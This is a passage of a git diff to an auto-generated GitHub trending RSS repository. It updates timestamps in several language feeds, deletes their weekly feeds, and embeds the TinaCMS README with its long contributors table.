a/ti-program/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub TI Program Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:03:46Z - Weekly Trending of TI Program in GitHub - - \ No newline at end of file diff --git a/tla/daily/index.xml b/tla/daily/index.xml index 0f71cbee8a6..31a0bacbd82 100644 --- a/tla/daily/index.xml +++ b/tla/daily/index.xml @@ -1,7 +1,7 @@ GitHub TLA Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:44:20Z + 2023-10-30T01:37:16Z Daily Trending of TLA in GitHub \ No newline at end of file diff --git a/tla/weekly/index.xml b/tla/weekly/index.xml deleted file mode 100644 index bb0316a5593..00000000000 --- a/tla/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub TLA Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:03:48Z - Weekly Trending of TLA in GitHub - - \ No newline at end of file diff --git a/toml/daily/index.xml b/toml/daily/index.xml index 3b25a3d3783..0ffea4044ab 100644 --- a/toml/daily/index.xml +++ b/toml/daily/index.xml @@ -1,7 +1,7 @@ GitHub TOML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:44:19Z + 2023-10-30T01:37:17Z Daily Trending of TOML in GitHub \ No newline at end of file diff --git a/toml/weekly/index.xml b/toml/weekly/index.xml deleted file mode 100644 index 802101254e5..00000000000 --- a/toml/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub TOML Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:03:46Z - Weekly Trending of TOML in GitHub - - \ No newline at end of file diff --git a/tsql/daily/index.xml b/tsql/daily/index.xml index c876db25048..de085591ec9 100644 --- a/tsql/daily/index.xml +++ b/tsql/daily/index.xml @@ -1,7 +1,7 @@ GitHub TSQL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:44:26Z + 2023-10-30T01:37:21Z Daily Trending of TSQL in GitHub \ No newline at end of file diff --git a/tsql/weekly/index.xml b/tsql/weekly/index.xml deleted file mode 100644 index be87bdb8778..00000000000 --- a/tsql/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub TSQL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:03:51Z - Weekly Trending of TSQL in GitHub - - \ No newline at end of file diff --git a/tsv/daily/index.xml b/tsv/daily/index.xml index 651aa54a408..63746f455c0 100644 --- a/tsv/daily/index.xml +++ b/tsv/daily/index.xml @@ -1,7 +1,7 @@ GitHub TSV Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:44:25Z + 2023-10-30T01:37:18Z Daily Trending of TSV in GitHub \ No newline at end of file diff --git a/tsv/weekly/index.xml b/tsv/weekly/index.xml deleted file mode 100644 index c255b49d699..00000000000 --- a/tsv/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub TSV Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:03:50Z - Weekly Trending of TSV in GitHub - - \ No newline at end of file diff --git a/tsx/daily/index.xml b/tsx/daily/index.xml index 8d25d283593..5295b595631 100644 --- a/tsx/daily/index.xml +++ b/tsx/daily/index.xml @@ -1,7 +1,7 @@ GitHub TSX Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:44:24Z + 2023-10-30T01:37:20Z Daily Trending of TSX in GitHub \ No newline at end of file diff --git a/tsx/weekly/index.xml b/tsx/weekly/index.xml deleted file mode 100644 index aeefce18abe..00000000000 --- a/tsx/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub TSX Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:03:52Z - Weekly Trending of TSX in GitHub - - \ No newline at end of file diff --git a/turing/daily/index.xml b/turing/daily/index.xml index b2fa5326a77..92023642855 100644 --- a/turing/daily/index.xml +++ b/turing/daily/index.xml @@ -1,7 +1,7 @@ GitHub Turing Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:44:23Z + 2023-10-30T01:37:19Z Daily Trending of Turing in GitHub \ No newline at end of file diff --git a/turing/weekly/index.xml b/turing/weekly/index.xml deleted file mode 100644 index 0d0d29879b9..00000000000 --- a/turing/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Turing Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:03:49Z - Weekly Trending of Turing in GitHub - - \ No newline at end of file diff --git a/turtle/daily/index.xml b/turtle/daily/index.xml index 950c00f5502..8b4e9585f41 100644 --- a/turtle/daily/index.xml +++ b/turtle/daily/index.xml @@ -1,7 +1,7 @@ GitHub Turtle Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:44:28Z + 2023-10-30T01:37:22Z Daily Trending of Turtle in GitHub \ No newline at end of file diff --git a/turtle/weekly/index.xml b/turtle/weekly/index.xml deleted file mode 100644 index 462a23574a1..00000000000 --- a/turtle/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Turtle Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:03:54Z - Weekly Trending of Turtle in GitHub - - \ No newline at end of file diff --git a/twig/daily/index.xml b/twig/daily/index.xml index 1095d82f3af..2585179137f 100644 --- a/twig/daily/index.xml +++ b/twig/daily/index.xml @@ -1,7 +1,7 @@ GitHub Twig Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:44:29Z + 2023-10-30T01:37:23Z Daily Trending of Twig in GitHub \ No newline at end of file diff --git a/twig/weekly/index.xml b/twig/weekly/index.xml deleted file mode 100644 index ffa7f87afd6..00000000000 --- a/twig/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Twig Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:03:53Z - Weekly Trending of Twig in GitHub - - \ No newline at end of file diff --git a/txl/daily/index.xml b/txl/daily/index.xml index b9b29243e3e..2d8610fab44 100644 --- a/txl/daily/index.xml +++ b/txl/daily/index.xml @@ -1,7 +1,7 @@ GitHub TXL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:44:30Z + 2023-10-30T01:37:24Z Daily Trending of TXL in GitHub \ No newline at end of file diff --git a/txl/weekly/index.xml b/txl/weekly/index.xml deleted file mode 100644 index 6d0844d520f..00000000000 --- a/txl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub TXL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:03:55Z - Weekly Trending of TXL in GitHub - - \ No newline at end of file diff --git a/type-language/daily/index.xml b/type-language/daily/index.xml index fd194b1ea8b..b5c56dc4707 100644 --- a/type-language/daily/index.xml +++ b/type-language/daily/index.xml @@ -1,7 +1,7 @@ GitHub Type Language Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:44:27Z + 2023-10-30T01:37:22Z Daily Trending of Type Language in GitHub \ No newline at end of file diff --git a/type-language/weekly/index.xml b/type-language/weekly/index.xml deleted file mode 100644 index 0b523a1a879..00000000000 --- a/type-language/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Type Language Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:03:56Z - Weekly Trending of Type Language in GitHub - - \ No newline at end of file diff --git a/typescript/daily/index.xml b/typescript/daily/index.xml index fa177406d29..954aed837d7 100644 --- a/typescript/daily/index.xml +++ b/typescript/daily/index.xml @@ -1,28 +1,28 @@ GitHub TypeScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:44:36Z + 2023-10-30T01:37:29Z Daily Trending of TypeScript in GitHub - tinacms/tinacms - 2023-10-29T01:44:36Z - tag:github.com,2023-10-29:/tinacms/tinacms - - <p>A fully open-source headless CMS that supports Git and Visual Editing</p><hr><p><a href="https://github.com/tinacms/tinacms/raw/main/LICENSE"><img src="https://img.shields.io/github/license/tinacms/tinacms?color=blue" alt="GitHub license"></a> <a href="https://www.npmjs.com/package/tinacms"><img src="https://img.shields.io/npm/v/tinacms.svg?style=flat" alt="npm version"></a> <a href="https://github.com/tinacms/tinacms/actions/workflows/main.yml"><img src="https://github.com/tinacms/tinacms/actions/workflows/main.yml/badge.svg?branch=main&amp;event=push" alt="Build, Test, Lint for Main"></a></p> <!-- ALL-CONTRIBUTORS-BADGE:START - Do not remove or modify this section --> <p><a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#contributors"><img src="https://img.shields.io/github/all-contributors/tinacms/tinacms?color=ec4815" alt="All Contributors"></a></p> <!-- ALL-CONTRIBUTORS-BADGE:END --> <h1><a href="https://tina.io"><img src="https://res.cloudinary.com/forestry-demo/image/upload/c_scale,w_400/v1694189357/tina-brand-assets/logos/png/Logo_Full_-_Default.png" alt="TINA CMS" title="Visit tinacms.org"></a></h1> <p><a href="https://tina.io/"><img src="https://res.cloudinary.com/forestry-demo/video/upload/du_16,w_700,e_loop/tina-io/new-homepage/homepage-demo-2.gif" alt="Tina Demo"></a></p> <p>Tina is a headless content management system with support for visual editing and Git.</p> <h2>Getting Started</h2> <p>Test a TinaCMS starter site locally</p> <pre><code>npx create-tina-app@latest </code></pre> <p>Or try a <a href="https://app.tina.io/quickstart">demo site</a> on Tina Cloud</p> <h2>Documentation</h2> <p>Visit <a href="https://tina.io/docs/">Tina's documentation</a> to learn more.</p> <h2>Questions?</h2> <p><a href="https://twitter.com/intent/tweet?url=https%3A%2F%2Ftinacms.org&amp;text=I%20just%20checked%20out%20@tinacms%20on%20GitHub%20and%20it%20is%20sweet%21&amp;hashtags=TinaCMS%2Cjamstack%2Cheadlesscms"><img src="https://img.shields.io/twitter/url/http/shields.io.svg?style=social" alt="Tweet"></a> <a href="https://github.com/tinacms/tinacms/discussions"><img src="https://shields.io/github/discussions/tinacms/tinacms" alt="Forum"></a></p> <p>Visit the <a href="https://github.com/tinacms/tinacms/discussions">Github Discussions</a> or our <a href="https://discord.com/invite/zumN63Ybpf">Community Discord</a> to ask questions, or look us up on on Twitter at <a href="https://twitter.com/tinacms">@tinacms</a>.</p> <!-- ## Changelog Check the [CHANGELOG](./CHANGELOG.md) for the latest updates to TinaCMS. --> <h2>Contributing</h2> <p>Please see our <a href="https://github.com/tinacms/tinacms/raw/main/CONTRIBUTING.md">./CONTRIBUTING.md</a></p> <h3>Maintainers</h3> <ul> <li>Jeff See (<a href="https://github.com/jeffsee55">@jeffsee55</a>)</li> <li>James O'Halloran (<a href="https://github.com/jamespohalloran">@jamespohalloran</a>)</li> <li>Logan Anderson (<a href="https://twitter.com/logan_anders0n">@logan_anders0n</a>)</li> <li>Kelly Davis (<a href="https://github.com/kldavis4">@kldavis</a>)</li> </ul> <h3>All Contributors ✨</h3> <p>Thanks goes to these wonderful people (<a href="https://allcontributors.org/docs/en/emoji-key">emoji key</a>):</p> <!-- ALL-CONTRIBUTORS-LIST:START - Do not remove or modify this section --> <!-- prettier-ignore-start --> <!-- markdownlint-disable --> <table> <tbody> <tr> <td align="center"><a href="https://forestry.io"><img src="https://avatars3.githubusercontent.com/u/16868456?v=4?s=100" width="100px;" alt="Forestry.io"><br><sub><b>Forestry.io</b></sub></a><br><a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#financial-forestryio" title="Financial">💵</a></td> <td align="center"><a href="http://www.ncphi.com"><img src="https://avatars2.githubusercontent.com/u/824015?v=4?s=100" width="100px;" alt="NCPhillips"><br><sub><b>NCPhillips</b></sub></a><br><a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#projectManagement-ncphillips" title="Project Management">📆</a> <a href="https://github.com/tinacms/tinacms/commits?author=ncphillips" title="Code">💻</a> <a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#blog-ncphillips" title="Blogposts">📝</a> <a href="https://github.com/tinacms/tinacms/issues?q=author%3Ancphillips" title="Bug reports">🐛</a> <a href="https://github.com/tinacms/tinacms/commits?author=ncphillips" title="Documentation">📖</a> <a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#ideas-ncphillips" title="Ideas, Planning, &amp; Feedback">🤔</a> <a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#infra-ncphillips" title="Infrastructure (Hosting, Build-Tools, etc)">🚇</a> <a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#maintenance-ncphillips" title="Maintenance">🚧</a> <a href="https://github.com/tinacms/tinacms/pulls?q=is%3Apr+reviewed-by%3Ancphillips" title="Reviewed Pull Requests">👀</a> <a href="https://github.com/tinacms/tinacms/commits?author=ncphillips" title="Tests">⚠️</a></td> <td align="center"><a href="https://github.com/dwalkr"><img src="https://avatars2.githubusercontent.com/u/15221702?v=4?s=100" width="100px;" alt="DJ"><br><sub><b>DJ</b></sub></a><br><a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#projectManagement-dwalkr" title="Project Management">📆</a> <a href="https://github.com/tinacms/tinacms/commits?author=dwalkr" title="Code">💻</a> <a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#blog-dwalkr" title="Blogposts">📝</a> <a href="https://github.com/tinacms/tinacms/issues?q=author%3Adwalkr" title="Bug reports">🐛</a> <a href="https://github.com/tinacms/tinacms/commits?author=dwalkr" title="Documentation">📖</a> <a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#ideas-dwalkr" title="Ideas, Planning, &amp; Feedback">🤔</a> <a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#maintenance-dwalkr" title="Maintenance">🚧</a> <a href="https://github.com/tinacms/tinacms/pulls?q=is%3Apr+reviewed-by%3Adwalkr" title="Reviewed Pull Requests">👀</a> <a href="https://github.com/tinacms/tinacms/commits?author=dwalkr" title="Tests">⚠️</a></td> <td align="center"><a href="http://scottbyrne.ca"><img src="https://avatars2.githubusercontent.com/u/5075484?v=4?s=100" width="100px;" alt="Scott Byrne"><br><sub><b>Scott Byrne</b></sub></a><br><a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#design-spbyrne" title="Design">🎨</a> <a href="https://github.com/tinacms/tinacms/commits?author=spbyrne" title="Code">💻</a> <a href="https://github.com/tinacms/tinacms/pulls?q=is%3Apr+reviewed-by%3Aspbyrne" title="Reviewed Pull Requests">👀</a> <a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#maintenance-spbyrne" title="Maintenance">🚧</a> <a href="https://github.com/tinacms/tinacms/commits?author=spbyrne" title="Documentation">📖</a> <a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#blog-spbyrne" title="Blogposts">📝</a></td> <td align="center"><a href="https://github.com/jamespohalloran"><img src="https://avatars1.githubusercontent.com/u/3323181?v=4?s=100" width="100px;" alt="James O'Halloran"><br><sub><b>James O'Halloran</b></sub></a><br><a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#projectManagement-jamespohalloran" title="Project Management">📆</a> <a href="https://github.com/tinacms/tinacms/issues?q=author%3Ajamespohalloran" title="Bug reports">🐛</a> <a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#ideas-jamespohalloran" title="Ideas, Planning, &amp; Feedback">🤔</a> <a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#maintenance-jamespohalloran" title="Maintenance">🚧</a> <a href="https://github.com/tinacms/tinacms/pulls?q=is%3Apr+reviewed-by%3Ajamespohalloran" title="Reviewed Pull Requests">👀</a> <a href="https://github.com/tinacms/tinacms/commits?author=jamespohalloran" title="Tests">⚠️</a> <a href="https://github.com/tinacms/tinacms/commits?author=jamespohalloran" title="Code">💻</a> <a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#blog-jamespohalloran" title="Blogposts">📝</a></td> <td align="center"><a href="http://www.kendallstrautman.com/"><img src="https://avatars3.githubusercontent.com/u/36613477?v=4?s=100" width="100px;" alt="Kendall Strautman"><br><sub><b>Kendall Strautman</b></sub></a><br><a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#design-kendallstrautman" title="Design">🎨</a> <a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#projectManagement-kendallstrautman" title="Project Management">📆</a> <a href="https://github.com/tinacms/tinacms/issues?q=author%3Akendallstrautman" title="Bug reports">🐛</a> <a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#ideas-kendallstrautman" title="Ideas, Planning, &amp; Feedback">🤔</a> <a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#maintenance-kendallstrautman" title="Maintenance">🚧</a> <a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#talk-kendallstrautman" title="Talks">📢</a> <a href="https://github.com/tinacms/tinacms/pulls?q=is%3Apr+reviewed-by%3Akendallstrautman" title="Reviewed Pull Requests">👀</a> <a href="https://github.com/tinacms/tinacms/commits?author=kendallstrautman" title="Code">💻</a> <a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#blog-kendallstrautman" title="Blogposts">📝</a></td> <td align="center"><a href="http://itsnwa.com"><img src="https://avatars1.githubusercontent.com/u/19958806?v=4?s=100" width="100px;" alt="Nichlas Wærnes Andersen"><br><sub><b>Nichlas Wærnes Andersen</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=itsnwa" title="Code">💻</a> <a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#design-itsnwa" title="Design">🎨</a> <a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#ideas-itsnwa" title="Ideas, Planning, &amp; Feedback">🤔</a></td> </tr> <tr> <td align="center"><a href="https://github.com/jpatters"><img src="https://avatars1.githubusercontent.com/u/195614?v=4?s=100" width="100px;" alt="Jordan"><br><sub><b>Jordan</b></sub></a><br><a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#projectManagement-jpatters" title="Project Management">📆</a> <a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#talk-jpatters" title="Talks">📢</a> <a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#ideas-jpatters" title="Ideas, Planning, &amp; Feedback">🤔</a> <a href="https://github.com/tinacms/tinacms/issues?q=author%3Ajpatters" title="Bug reports">🐛</a> <a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#infra-jpatters" title="Infrastructure (Hosting, Build-Tools, etc)">🚇</a> <a href="https://github.com/tinacms/tinacms/commits?author=jpatters" title="Documentation">📖</a> <a href="https://github.com/tinacms/tinacms/commits?author=jpatters" title="Code">💻</a></td> <td align="center"><a href="https://frank.taillandier.me"><img src="https://avatars3.githubusercontent.com/u/103008?v=4?s=100" width="100px;" alt="Frank Taillandier"><br><sub><b>Frank Taillandier</b></sub></a><br><a href="https://github.com/tinacms/tinacms/pulls?q=is%3Apr+reviewed-by%3ADirtyF" title="Reviewed Pull Requests">👀</a> <a href="https://github.com/tinacms/tinacms/commits?author=DirtyF" title="Documentation">📖</a> <a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#projectManagement-DirtyF" title="Project Management">📆</a> <a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#userTesting-DirtyF" title="User Testing">📓</a> <a href="https://github.com/tinacms/tinacms/issues?q=author%3ADirtyF" title="Bug reports">🐛</a> <a href="https://github.com/tinacms/tinacms/commits?author=DirtyF" title="Code">💻</a></td> <td align="center"><a href="http://forestry.io"><img src="https://avatars0.githubusercontent.com/u/776019?v=4?s=100" width="100px;" alt="Scott Gallant"><br><sub><b>Scott Gallant</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=scottgallant" title="Documentation">📖</a> <a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#talk-scottgallant" title="Talks">📢</a> <a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#fundingFinding-scottgallant" title="Funding Finding">🔍</a> <a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#blog-scottgallant" title="Blogposts">📝</a></td> <td align="center"><a href="http://www.mitchmac.com"><img src="https://avatars2.githubusercontent.com/u/618212?v=4?s=100" width="100px;" alt="Mitch MacKenzie"><br><sub><b>Mitch MacKenzie</b></sub></a><br><a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#userTesting-mitchmac" title="User Testing">📓</a> <a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#blog-mitchmac" title="Blogposts">📝</a></td> <td align="center"><a href="https://github.com/zacchg"><img src="https://avatars2.githubusercontent.com/u/46639997?v=4?s=100" width="100px;" alt="zacchg"><br><sub><b>zacchg</b></sub></a><br><a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#userTesting-zacchg" title="User Testing">📓</a></td> <td align="center"><a href="https://github.com/lyleunderwood"><img src="https://avatars0.githubusercontent.com/u/605824?v=4?s=100" width="100px;" alt="Lyle Underwood"><br><sub><b>Lyle Underwood</b></sub></a><br><a href="https://github.com/tinacms/tinacms/issues?q=author%3Alyleunderwood" title="Bug reports">🐛</a> <a href="https://github.com/tinacms/tinacms/commits?author=lyleunderwood" title="Code">💻</a></td> <td align="center"><a href="https://github.com/Laura1111999"><img src="https://avatars3.githubusercontent.com/u/38682924?v=4?s=100" width="100px;" alt="Laura1111999"><br><sub><b>Laura1111999</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=Laura1111999" title="Documentation">📖</a></td> </tr> <tr> <td align="center"><a href="https://www.thomkrupa.com"><img src="https://avatars2.githubusercontent.com/u/8614811?v=4?s=100" width="100px;" alt="Thom Krupa"><br><sub><b>Thom Krupa</b></sub></a><br><a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#userTesting-thomkrupa" title="User Testing">📓</a></td> <td align="center"><a href="https://twitter.com/hypertextmike"><img src="https://avatars1.githubusercontent.com/u/120511?v=4?s=100" width="100px;" alt="Michael Gauthier"><br><sub><b>Michael Gauthier</b></sub></a><br><a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#userTesting-gauthierm" title="User Testing">📓</a> <a href="https://github.com/tinacms/tinacms/commits?author=gauthierm" title="Documentation">📖</a></td> <td align="center"><a href="https://github.com/dcgoodwin2112"><img src="https://avatars1.githubusercontent.com/u/4554388?v=4?s=100" width="100px;" alt="dcgoodwin2112"><br><sub><b>dcgoodwin2112</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=dcgoodwin2112" title="Documentation">📖</a></td> <td align="center"><a href="https://github.com/akshayknz"><img src="https://avatars3.githubusercontent.com/u/25759518?v=4?s=100" width="100px;" alt="akshayknz"><br><sub><b>akshayknz</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=akshayknz" title="Documentation">📖</a></td> <td align="center"><a href="http://www.10up.com"><img src="https://avatars0.githubusercontent.com/u/2676022?v=4?s=100" width="100px;" alt="Adam Silverstein"><br><sub><b>Adam Silverstein</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=adamsilverstein" title="Documentation">📖</a></td> <td align="center"><a href="http://www.bradmcgonigle.com"><img src="https://avatars0.githubusercontent.com/u/115338?v=4?s=100" width="100px;" alt="Brad McGonigle"><br><sub><b>Brad McGonigle</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=BradMcGonigle" title="Code">💻</a></td> <td align="center"><a href="http://jake.cx"><img src="https://avatars2.githubusercontent.com/u/601264?v=4?s=100" width="100px;" alt="Jake Coxon"><br><sub><b>Jake Coxon</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=JakeCoxon" title="Code">💻</a></td> </tr> <tr> <td align="center"><a href="http://www.prskavec.net"><img src="https://avatars3.githubusercontent.com/u/100356?v=4?s=100" width="100px;" alt="Ladislav Prskavec"><br><sub><b>Ladislav Prskavec</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=abtris" title="Code">💻</a></td> <td align="center"><a href="https://github.com/bolariin"><img src="https://avatars1.githubusercontent.com/u/24629960?v=4?s=100" width="100px;" alt="Bolarinwa Balogun"><br><sub><b>Bolarinwa Balogun</b></sub></a><br><a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#infra-bolariin" title="Infrastructure (Hosting, Build-Tools, etc)">🚇</a></td> <td align="center"><a href="http://metamas.com"><img src="https://avatars2.githubusercontent.com/u/2520253?v=4?s=100" width="100px;" alt="Mason Medeiros"><br><sub><b>Mason Medeiros</b></sub></a><br><a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#userTesting-metamas" title="User Testing">📓</a></td> <td align="center"><a href="https://github.com/IronSean"><img src="https://avatars3.githubusercontent.com/u/1960190?v=4?s=100" width="100px;" alt="ironsean"><br><sub><b>ironsean</b></sub></a><br><a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#userTesting-IronSean" title="User Testing">📓</a> <a href="https://github.com/tinacms/tinacms/commits?author=IronSean" title="Documentation">📖</a> <a href="https://github.com/tinacms/tinacms/commits?author=IronSean" title="Code">💻</a></td> <td align="center"><a href="https://github.com/kypp"><img src="https://avatars1.githubusercontent.com/u/4457071?v=4?s=100" width="100px;" alt="kyp"><br><sub><b>kyp</b></sub></a><br><a href="https://github.com/tinacms/tinacms/issues?q=author%3Akypp" title="Bug reports">🐛</a></td> <td align="center"><a href="https://github.com/smashercosmo"><img src="https://avatars0.githubusercontent.com/u/273283?v=4?s=100" width="100px;" alt="Vladislav Shkodin"><br><sub><b>Vladislav Shkodin</b></sub></a><br><a href="https://github.com/tinacms/tinacms/issues?q=author%3Asmashercosmo" title="Bug reports">🐛</a></td> <td align="center"><a href="https://github.com/maciekgrzybek"><img src="https://avatars2.githubusercontent.com/u/16546428?v=4?s=100" width="100px;" alt="maciek_grzybek"><br><sub><b>maciek_grzybek</b></sub></a><br><a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#ideas-maciekgrzybek" title="Ideas, Planning, &amp; Feedback">🤔</a> <a href="https://github.com/tinacms/tinacms/commits?author=maciekgrzybek" title="Code">💻</a> <a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#infra-maciekgrzybek" title="Infrastructure (Hosting, Build-Tools, etc)">🚇</a></td> </tr> <tr> <td align="center"><a href="https://github.com/weibenfalk"><img src="https://avatars1.githubusercontent.com/u/11212270?v=4?s=100" width="100px;" alt="weibenfalk"><br><sub><b>weibenfalk</b></sub></a><br><a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#video-weibenfalk" title="Videos">📹</a> <a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#blog-weibenfalk" title="Blogposts">📝</a> <a href="https://github.com/tinacms/tinacms/commits?author=weibenfalk" title="Code">💻</a></td> <td align="center"><a href="https://github.com/SceptreData"><img src="https://avatars2.githubusercontent.com/u/15841748?v=4?s=100" width="100px;" alt="David Bergeron"><br><sub><b>David Bergeron</b></sub></a><br><a href="https://github.com/tinacms/tinacms/issues?q=author%3ASceptreData" title="Bug reports">🐛</a></td> <td align="center"><a href="http://kellanmartin.com"><img src="https://avatars1.githubusercontent.com/u/17299952?v=4?s=100" width="100px;" alt="Kellan Martin"><br><sub><b>Kellan Martin</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=Spraynard" title="Code">💻</a></td> <td align="center"><a href="https://github.com/jonmiller0"><img src="https://avatars1.githubusercontent.com/u/22771842?v=4?s=100" width="100px;" alt="Jon Miller"><br><sub><b>Jon Miller</b></sub></a><br><a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#ideas-jonmiller0" title="Ideas, Planning, &amp; Feedback">🤔</a></td> <td align="center"><a href="https://pcast01.github.io/"><img src="https://avatars1.githubusercontent.com/u/1172644?v=4?s=100" width="100px;" alt="Paul"><br><sub><b>Paul</b></sub></a><br><a href="https://github.com/tinacms/tinacms/issues?q=author%3Apcast01" title="Bug reports">🐛</a></td> <td align="center"><a href="https://github.com/chriswillsflannery"><img src="https://avatars3.githubusercontent.com/u/6463453?v=4?s=100" width="100px;" alt="Chris Flannery"><br><sub><b>Chris Flannery</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=chriswillsflannery" title="Code">💻</a> <a href="https://github.com/tinacms/tinacms/commits?author=chriswillsflannery" title="Documentation">📖</a></td> <td align="center"><a href="https://github.com/JeffersonBledsoe"><img src="https://avatars1.githubusercontent.com/u/30210785?v=4?s=100" width="100px;" alt="Jefferson Bledsoe"><br><sub><b>Jefferson Bledsoe</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=JeffersonBledsoe" title="Tests">⚠️</a> <a href="https://github.com/tinacms/tinacms/commits?author=JeffersonBledsoe" title="Documentation">📖</a></td> </tr> <tr> <td align="center"><a href="https://github.com/kenniaa"><img src="https://avatars2.githubusercontent.com/u/14225265?v=4?s=100" width="100px;" alt="Kenia"><br><sub><b>Kenia</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=kenniaa" title="Code">💻</a></td> <td align="center"><a href="https://andrewjames.dev"><img src="https://avatars3.githubusercontent.com/u/13269277?v=4?s=100" width="100px;" alt="Andrew James"><br><sub><b>Andrew James</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=andrew-t-james" title="Code">💻</a></td> <td align="center"><a href="https://github.com/brooksztb"><img src="https://avatars3.githubusercontent.com/u/31398142?v=4?s=100" width="100px;" alt="Zach B"><br><sub><b>Zach B</b></sub></a><br><a href="https://raw.githubusercontent.com/tinacms/tinacms/main/#talk-brooksztb" title="Talks">📢</a></td> <td align="center"><a href="https://github.com/jpuri"><img src="https://avatars0.githubusercontent.com/u/2182307?v=4?s=100" width="100px;" alt="Jyoti Puri"><br><sub><b>Jyoti Puri</b></sub></a><br><a href="https://github.com/tinacms/tinacms/commits?author=jpuri" title="Code">💻</a> <a href="https://github.com/tinacms/tinacms/pulls?q=is%3Apr+reviewed-by%3Ajpuri" title="Reviewed Pull Requests">👀</a> <a href="https://github.com/tinacms/tinacms/commits?author=jpuri" 